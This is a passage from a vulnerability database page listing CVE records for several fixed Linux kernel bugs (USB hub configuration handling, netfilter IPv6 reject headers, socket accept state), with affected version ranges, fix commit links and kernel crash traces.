              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: hub: Ignore non-compliant devices with too many configs or interfaces\n\nRobert Morris created a test program which can cause\nusb_hub_to_struct_hub() to dereference a NULL or inappropriate\npointer:\n\nOops: general protection fault, probably for non-canonical address\n0xcccccccccccccccc: 0000 [#1] SMP DEBUG_PAGEALLOC PTI\nCPU: 7 UID: 0 PID: 117 Comm: kworker/7:1 Not tainted 6.13.0-rc3-00017-gf44d154d6e3d #14\nHardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021\nWorkqueue: usb_hub_wq hub_event\nRIP: 0010:usb_hub_adjust_deviceremovable+0x78/0x110\n...\nCall Trace:\n \u003cTASK\u003e\n ? die_addr+0x31/0x80\n ? exc_general_protection+0x1b4/0x3c0\n ? asm_exc_general_protection+0x26/0x30\n ? usb_hub_adjust_deviceremovable+0x78/0x110\n hub_probe+0x7c7/0xab0\n usb_probe_interface+0x14b/0x350\n really_probe+0xd0/0x2d0\n ? __pfx___device_attach_driver+0x10/0x10\n __driver_probe_device+0x6e/0x110\n driver_probe_device+0x1a/0x90\n __device_attach_driver+0x7e/0xc0\n bus_for_each_drv+0x7f/0xd0\n __device_attach+0xaa/0x1a0\n bus_probe_device+0x8b/0xa0\n device_add+0x62e/0x810\n usb_set_configuration+0x65d/0x990\n usb_generic_driver_probe+0x4b/0x70\n usb_probe_device+0x36/0xd0\n\nThe cause of this error is that the device has two interfaces, and the\nhub driver binds to interface 1 instead of interface 0, which is where\nusb_hub_to_struct_hub() looks.\n\nWe can prevent the problem from occurring by refusing to accept hub\ndevices that violate the USB spec by having more than one\nconfiguration or interface."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:06:12.467Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/49f077106fa07919a6a6dda99bb490dd1d1a8218"
        },
        {
          "url": "https://git.kernel.org/stable/c/d343fe0fad5c1d689775f2dda24a85ce98e29566"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3a67adb365cdfdac4620daf38a82e57ca45806c"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3720b04df84b5459050ae4e03ec7d545652f897"
        },
        {
          "url": "https://git.kernel.org/stable/c/e905a0fca7bff0855d312c16f71e60e1773b393e"
        },
        {
          "url": "https://git.kernel.org/stable/c/62d8f4c5454dd39aded4f343720d1c5a1803cfef"
        },
        {
          "url": "https://git.kernel.org/stable/c/5b9778e1fe715700993ce436c152dc3b7df0b490"
        },
        {
          "url": "https://git.kernel.org/stable/c/2240fed37afbcdb5e8b627bc7ad986891100e05d"
        }
      ],
      "title": "USB: hub: Ignore non-compliant devices with too many configs or interfaces",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21776",
    "datePublished": "2025-02-27T02:18:21.503Z",
    "dateReserved": "2024-12-29T08:45:45.763Z",
    "dateUpdated": "2026-05-12T12:03:52.412Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47685 (GCVE-0-2024-47685)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put()

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put() syzbot reported that nf_reject_ip6_tcphdr_put() was possibly sending garbage on the four reserved tcp bits (th->res1) Use skb_put_zero() to clear the whole TCP header, as done in nf_reject_ip_tcphdr_put() BUG: KMSAN: uninit-value in nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255 nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255 nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344 nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48 expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline] nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288 nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161 nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline] nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626 nf_hook include/linux/netfilter.h:269 [inline] NF_HOOK include/linux/netfilter.h:312 [inline] ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310 __netif_receive_skb_one_core net/core/dev.c:5661 [inline] __netif_receive_skb+0x1da/0xa00 net/core/dev.c:5775 process_backlog+0x4ad/0xa50 net/core/dev.c:6108 __napi_poll+0xe7/0x980 net/core/dev.c:6772 napi_poll net/core/dev.c:6841 [inline] net_rx_action+0xa5a/0x19b0 net/core/dev.c:6963 handle_softirqs+0x1ce/0x800 kernel/softirq.c:554 __do_softirq+0x14/0x1a kernel/softirq.c:588 do_softirq+0x9a/0x100 kernel/softirq.c:455 __local_bh_enable_ip+0x9f/0xb0 kernel/softirq.c:382 local_bh_enable include/linux/bottom_half.h:33 [inline] rcu_read_unlock_bh include/linux/rcupdate.h:908 [inline] __dev_queue_xmit+0x2692/0x5610 net/core/dev.c:4450 dev_queue_xmit include/linux/netdevice.h:3105 [inline] neigh_resolve_output+0x9ca/0xae0 net/core/neighbour.c:1565 neigh_output include/net/neighbour.h:542 [inline] ip6_finish_output2+0x2347/0x2ba0 net/ipv6/ip6_output.c:141 __ip6_finish_output net/ipv6/ip6_output.c:215 [inline] ip6_finish_output+0xbb8/0x14b0 net/ipv6/ip6_output.c:226 NF_HOOK_COND include/linux/netfilter.h:303 [inline] ip6_output+0x356/0x620 net/ipv6/ip6_output.c:247 dst_output include/net/dst.h:450 [inline] NF_HOOK include/linux/netfilter.h:314 [inline] ip6_xmit+0x1ba6/0x25d0 net/ipv6/ip6_output.c:366 inet6_csk_xmit+0x442/0x530 net/ipv6/inet6_connection_sock.c:135 __tcp_transmit_skb+0x3b07/0x4880 net/ipv4/tcp_output.c:1466 tcp_transmit_skb net/ipv4/tcp_output.c:1484 [inline] tcp_connect+0x35b6/0x7130 net/ipv4/tcp_output.c:4143 tcp_v6_connect+0x1bcc/0x1e40 net/ipv6/tcp_ipv6.c:333 __inet_stream_connect+0x2ef/0x1730 net/ipv4/af_inet.c:679 inet_stream_connect+0x6a/0xd0 net/ipv4/af_inet.c:750 __sys_connect_file net/socket.c:2061 [inline] __sys_connect+0x606/0x690 net/socket.c:2078 __do_sys_connect net/socket.c:2088 [inline] __se_sys_connect net/socket.c:2085 [inline] __x64_sys_connect+0x91/0xe0 net/socket.c:2085 x64_sys_call+0x27a5/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:43 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was stored to memory at: nf_reject_ip6_tcphdr_put+0x60c/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:249 nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344 nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48 expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline] nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288 nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161 nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline] nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626 nf_hook include/linux/netfilter.h:269 [inline] NF_HOOK include/linux/netfilter.h:312 [inline] ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310 __netif_receive_skb_one_core ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/872eca64c3267dbc5…
https://git.kernel.org/stable/c/7bcbc4cda777d26c8…
https://git.kernel.org/stable/c/dcf48ab3ca2c55b09…
https://git.kernel.org/stable/c/fbff87d682e57ddbb…
https://git.kernel.org/stable/c/7ea2bcfd9bf4c3dbb…
https://git.kernel.org/stable/c/af4b8a704f26f3831…
https://git.kernel.org/stable/c/7a7b5a27c53b55e91…
https://git.kernel.org/stable/c/10210658f827ad450…
https://git.kernel.org/stable/c/9c778fe48d20ef362…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < 872eca64c3267dbc5836b715716fc6c03a18eda7 (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < 7bcbc4cda777d26c88500d973fad0d497fc8a82e (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < dcf48ab3ca2c55b09c8f9c8de0df01c1943bc4e5 (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < fbff87d682e57ddbbe82abf6d0a1a4a36a98afcd (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < 7ea2bcfd9bf4c3dbbf22546162226fd1c14d8ad2 (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < af4b8a704f26f38310655bad67fd8096293275a2 (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < 7a7b5a27c53b55e91eecf646d1b204e73fa4af93 (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < 10210658f827ad45061581cbfc05924b723e8922 (git) Affected: c8d7b98bec43faaa6583c3135030be5eb4693acb , < 9c778fe48d20ef362047e3376dee56d77f8500d4 (git)
Linux	Linux	Affected: 3.18 Unaffected: 0 , < 3.18 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47685",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:06:45.955918Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:14:16.073Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:20:52.270Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:11.897Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/netfilter/nf_reject_ipv6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "872eca64c3267dbc5836b715716fc6c03a18eda7",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "7bcbc4cda777d26c88500d973fad0d497fc8a82e",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "dcf48ab3ca2c55b09c8f9c8de0df01c1943bc4e5",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "fbff87d682e57ddbbe82abf6d0a1a4a36a98afcd",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "7ea2bcfd9bf4c3dbbf22546162226fd1c14d8ad2",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "af4b8a704f26f38310655bad67fd8096293275a2",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "7a7b5a27c53b55e91eecf646d1b204e73fa4af93",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "10210658f827ad45061581cbfc05924b723e8922",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            },
            {
              "lessThan": "9c778fe48d20ef362047e3376dee56d77f8500d4",
              "status": "affected",
              "version": "c8d7b98bec43faaa6583c3135030be5eb4693acb",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/netfilter/nf_reject_ipv6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.18"
            },
            {
              "lessThan": "3.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put()\n\nsyzbot reported that nf_reject_ip6_tcphdr_put() was possibly sending\ngarbage on the four reserved tcp bits (th-\u003eres1)\n\nUse skb_put_zero() to clear the whole TCP header,\nas done in nf_reject_ip_tcphdr_put()\n\nBUG: KMSAN: uninit-value in nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255\n  nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255\n  nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344\n  nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\n  nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288\n  nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626\n  nf_hook include/linux/netfilter.h:269 [inline]\n  NF_HOOK include/linux/netfilter.h:312 [inline]\n  ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310\n  __netif_receive_skb_one_core net/core/dev.c:5661 [inline]\n  __netif_receive_skb+0x1da/0xa00 net/core/dev.c:5775\n  process_backlog+0x4ad/0xa50 net/core/dev.c:6108\n  __napi_poll+0xe7/0x980 net/core/dev.c:6772\n  napi_poll net/core/dev.c:6841 [inline]\n  net_rx_action+0xa5a/0x19b0 net/core/dev.c:6963\n  handle_softirqs+0x1ce/0x800 kernel/softirq.c:554\n  __do_softirq+0x14/0x1a kernel/softirq.c:588\n  do_softirq+0x9a/0x100 kernel/softirq.c:455\n  __local_bh_enable_ip+0x9f/0xb0 kernel/softirq.c:382\n  local_bh_enable include/linux/bottom_half.h:33 [inline]\n  rcu_read_unlock_bh include/linux/rcupdate.h:908 [inline]\n  __dev_queue_xmit+0x2692/0x5610 net/core/dev.c:4450\n  dev_queue_xmit include/linux/netdevice.h:3105 [inline]\n  neigh_resolve_output+0x9ca/0xae0 net/core/neighbour.c:1565\n  neigh_output include/net/neighbour.h:542 [inline]\n  ip6_finish_output2+0x2347/0x2ba0 net/ipv6/ip6_output.c:141\n  __ip6_finish_output net/ipv6/ip6_output.c:215 [inline]\n  ip6_finish_output+0xbb8/0x14b0 net/ipv6/ip6_output.c:226\n  NF_HOOK_COND include/linux/netfilter.h:303 [inline]\n  ip6_output+0x356/0x620 net/ipv6/ip6_output.c:247\n  dst_output include/net/dst.h:450 [inline]\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ip6_xmit+0x1ba6/0x25d0 net/ipv6/ip6_output.c:366\n  inet6_csk_xmit+0x442/0x530 net/ipv6/inet6_connection_sock.c:135\n  __tcp_transmit_skb+0x3b07/0x4880 net/ipv4/tcp_output.c:1466\n  tcp_transmit_skb net/ipv4/tcp_output.c:1484 [inline]\n  tcp_connect+0x35b6/0x7130 net/ipv4/tcp_output.c:4143\n  tcp_v6_connect+0x1bcc/0x1e40 net/ipv6/tcp_ipv6.c:333\n  __inet_stream_connect+0x2ef/0x1730 net/ipv4/af_inet.c:679\n  inet_stream_connect+0x6a/0xd0 net/ipv4/af_inet.c:750\n  __sys_connect_file net/socket.c:2061 [inline]\n  __sys_connect+0x606/0x690 net/socket.c:2078\n  __do_sys_connect net/socket.c:2088 [inline]\n  __se_sys_connect net/socket.c:2085 [inline]\n  __x64_sys_connect+0x91/0xe0 net/socket.c:2085\n  x64_sys_call+0x27a5/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:43\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was stored to memory at:\n  nf_reject_ip6_tcphdr_put+0x60c/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:249\n  nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344\n  nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\n  nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288\n  nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626\n  nf_hook include/linux/netfilter.h:269 [inline]\n  NF_HOOK include/linux/netfilter.h:312 [inline]\n  ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310\n  __netif_receive_skb_one_core\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:38:46.996Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/872eca64c3267dbc5836b715716fc6c03a18eda7"
        },
        {
          "url": "https://git.kernel.org/stable/c/7bcbc4cda777d26c88500d973fad0d497fc8a82e"
        },
        {
          "url": "https://git.kernel.org/stable/c/dcf48ab3ca2c55b09c8f9c8de0df01c1943bc4e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/fbff87d682e57ddbbe82abf6d0a1a4a36a98afcd"
        },
        {
          "url": "https://git.kernel.org/stable/c/7ea2bcfd9bf4c3dbbf22546162226fd1c14d8ad2"
        },
        {
          "url": "https://git.kernel.org/stable/c/af4b8a704f26f38310655bad67fd8096293275a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/7a7b5a27c53b55e91eecf646d1b204e73fa4af93"
        },
        {
          "url": "https://git.kernel.org/stable/c/10210658f827ad45061581cbfc05924b723e8922"
        },
        {
          "url": "https://git.kernel.org/stable/c/9c778fe48d20ef362047e3376dee56d77f8500d4"
        }
      ],
      "title": "netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47685",
    "datePublished": "2024-10-21T11:53:26.486Z",
    "dateReserved": "2024-09-30T16:00:12.941Z",
    "dateUpdated": "2026-05-12T11:58:11.897Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36484 (GCVE-0-2024-36484)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:53

Title

net: relax socket state check at accept time.

Summary

In the Linux kernel, the following vulnerability has been resolved: net: relax socket state check at accept time. Christoph reported the following splat: WARNING: CPU: 1 PID: 772 at net/ipv4/af_inet.c:761 __inet_accept+0x1f4/0x4a0 Modules linked in: CPU: 1 PID: 772 Comm: syz-executor510 Not tainted 6.9.0-rc7-g7da7119fe22b #56 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.11.0-2.el7 04/01/2014 RIP: 0010:__inet_accept+0x1f4/0x4a0 net/ipv4/af_inet.c:759 Code: 04 38 84 c0 0f 85 87 00 00 00 41 c7 04 24 03 00 00 00 48 83 c4 10 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc e8 ec b7 da fd <0f> 0b e9 7f fe ff ff e8 e0 b7 da fd 0f 0b e9 fe fe ff ff 89 d9 80 RSP: 0018:ffffc90000c2fc58 EFLAGS: 00010293 RAX: ffffffff836bdd14 RBX: 0000000000000000 RCX: ffff888104668000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: dffffc0000000000 R08: ffffffff836bdb89 R09: fffff52000185f64 R10: dffffc0000000000 R11: fffff52000185f64 R12: dffffc0000000000 R13: 1ffff92000185f98 R14: ffff88810754d880 R15: ffff8881007b7800 FS: 000000001c772880(0000) GS:ffff88811b280000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fb9fcf2e178 CR3: 00000001045d2002 CR4: 0000000000770ef0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: <TASK> inet_accept+0x138/0x1d0 net/ipv4/af_inet.c:786 do_accept+0x435/0x620 net/socket.c:1929 __sys_accept4_file net/socket.c:1969 [inline] __sys_accept4+0x9b/0x110 net/socket.c:1999 __do_sys_accept net/socket.c:2016 [inline] __se_sys_accept net/socket.c:2013 [inline] __x64_sys_accept+0x7d/0x90 net/socket.c:2013 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0x58/0x100 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x4315f9 Code: fd ff 48 81 c4 80 00 00 00 e9 f1 fe ff ff 0f 1f 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 